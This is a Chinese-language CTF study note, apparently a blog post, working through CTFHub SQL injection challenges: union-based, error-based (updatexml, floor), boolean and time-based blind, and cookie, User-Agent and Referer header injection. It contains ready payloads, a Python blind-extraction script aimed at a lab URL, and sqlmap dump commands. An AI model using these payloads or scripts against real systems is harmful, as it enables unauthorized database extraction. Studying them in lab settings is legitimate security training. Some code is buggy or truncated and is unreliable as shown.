前言:
知识总是学了又忘忘了再学的过程吧 ? 每一次再学的过程会轻松很多倒是真的,因为每一次再学可能都是一次深入了解。加油!
整数形注入
最后使用的payload-1 union select 11,group_concat(flag) from flag
值的注意的几个点:
- 要使原来的数据不显示,才可以显示我们想要的结果。如把
id=-1
表中没有这个项就显示了我们想要的结果。 - 注意括号不要乱打,出了错可以把payload copy下来仔细观察。
- union select 就是在原来显示的基础上再加一条数据(列数和前面一样)
字符型注入
和整数型注入唯一区别就是 需要闭合。
最后的payload -1'union select 1,group_concat(flag) from flag--+
记个单词:
- schema 模式
报错注入
报错注入有蛮多中方法,但是我一般使用的就那么2种。
updatexml()
它是我使用最多的一种,因为好记。但是它爆出来的字符最多只有 32 个,而且不适用于MySQL小于5.1.5的版本。
使用方法:
1 | select * from news where id=1 and (updatexml(1,concat('~',(right((select group_concat(flag) from flag),70)),'~'),1)) |
floor()
这种方式没有字符的限制,但是比较难记呀而且原表里要有3条以上记录。【报错原理】
payload如下:
1 | select * from user where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from user group by x)a); |
上面给的链接已说明了报错原理,下面我们来说下怎么利用。
select count(*),(floor(rand()*2))a from _sql group by a;
使用这个语句报错出 1,1是哪里来的呢?我们怎么利用呢?- 其实是因为 floor(rand(0)*2)创建的虚表出现了主键重复所以报错并把这一列信息报错出来。
- 所以其实报错信息是 (floor(rand()*2))a 这里来的。那么我们只要在这里加入我们想要的查询语句即可。
select count(*),concat((select user()),floor(rand(0)*2))x from tablename group by x;
而其中的tablename
是表名只要在库中存在即可。- 值得注意的是
concat((select user()),floor(rand(0)*2))x
不能出现group_concat()
,需要使用limit 0,1
来进行一条条的读取。如:1
concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))a
- 这里值得注意的是使用 union select 要和前面字段数量一样。
- 再来看看 payload 中的
select 1 from(...)a
我们实验不是不加这个也可以吗?对的,但是如果不确定前面有几列的话就需要这样了,加了这个语句后他会先执行from(。。)a
from 括号里的内容就会先报出我们先要的数据而不是列数不匹配。值得注意的是form ()a
这个别名a必须给,否者报错必须有自己的表。
就先这样把,其它的遇到再补充
布尔盲注
这题和一般的布尔注入不太一样,一般的是查询数据为空报错,而这题只有查询成功和不成功。
- 我们利用 if() 语句来构造payload。值得注意的是使用if 语句时先会进行整体的判断如果有错就直接报错。
- 我们可以利用
if(x=1,1,select 'a');
来进行一个一个字符的爆破。 - 经过查阅可以使用
if(x=1,1,select table_name from information_schema.tables);
这种方法来测试。 - 然后就是常规的布尔盲注了,下面贴一个代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63import requests
import string
url1="http://challenge-ee44b901e909271f.sandbox.ctfhub.com:10080/?id="
database_name=""
def database():
for a in range(10):
for b in 'sqcwertyuioplkjhgfdazxvbnm':
payload='if(substr(database(),{0},1)="{1}",1,(select table_name from information_schema.tables))'.format(a,b)
url=url1+payload
r=requests.get(url)
if "query_success" in r.text:
global database_name
database_name+=b
print(database_name)
break
print("database_name: "+database_name)
def table():
list = []
for k in range(0, 4):
table_name = ""
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = url1 + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)="{}",1,(select table_name from information_schema.tables))'.format(k, j, i)
# print(url+'%23')
r = requests.get(url)
if "query_success"in r.text:
table_name = table_name + i
break
list.append(table_name)
print('table_name:', list)
def column(table):
print(table)
list = []
for k in range(0, 3):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = url1 + 'if(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (table,k, j, i)
r = requests.get(url)
if "query_success" in r.text:
name = name + i
break
if name!="" :
list.append(name)
else:
break
print('column_name:', list)
def data(table,colmn):
data=''
print(table,colmn)
for a in range(1,50):
for b in (48,126): ###SQL中并不区分大小写所以可能出错
url=url1+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (a, b)
r=requests.get(url)
if "query_success" in r.text:
data=data+chr(b)
print(data)
break
print("data: "+data)
data("flag","flag")
值得注意的是发现mysql 不区分大小写
时间盲注
和布尔盲注的区别在于它没有回显。但是我们可以使用一些函数使它响应时间变长如sleep函数,然后根据响应时间的快慢来确定我们的猜测是否正确。判断是否存在可以使用 sleep 函数然后打开开发者模式-》网络 找到发送的那条数据看它的响应时间
那么我们使用脚本怎么判断他是多长时间响应的呢?我们可以使用 python 的异常处理加上发送请求是加上outtime=多少
,也就是过了这么多秒没有反应就抛出异常。如下:
1 | try: |
这题的脚本如下
1 | import requests |
补充 判断也可用time.teme()这个函数来判定返回时间。
MySQL 结构
就是简单的数字型注入。id=1 and 1=2 即可找到注入点了。然后一步步脱裤即可。
Cookie注入
注入点是cookie值,使用bp抓包 然后改 cookie中的id即可以一步步报错flag 我这里使用的是 sqlmap 命令如下:
1 | python sqlmap.py -u http://challenge-3072f06bf63894aa.sandbox.ctfhub.com:10080/ --cookie "id=1*" --dump -T imwjxflmur -D sqli |
UA注入
跟cookie 注入类似就是注入点换了。我们使用bp抓包然后进行一步步注入。
- 我们把抓到的包放到bp重放当中然后将
User-Agent
出改为一然后发现这里是注入点,即可以一步步爆出flag。 - 这里我们使用 sqlmap 。首先将抓到的包复制成文本文件保存(在存在注入点的后面加 * 号)
- 使用以下命令爆出flag
1
python sqlmap.py -r d:/1.txt --dump -C nuibmngspm -D sqli -T pkugmlsuoo
Referer注入
又是一个头部信息注入,没什么可讲的。在数据包的头中加入referer:1*
然后保存为文件然后sqlmap吧
命令为:
python sqlmap.py -r d:/1.txt --dump -D sqli -T xgjvwvravx
结尾 暂时平台只更新了这么多sql注入的题目。就现记录都这里了。后续更新!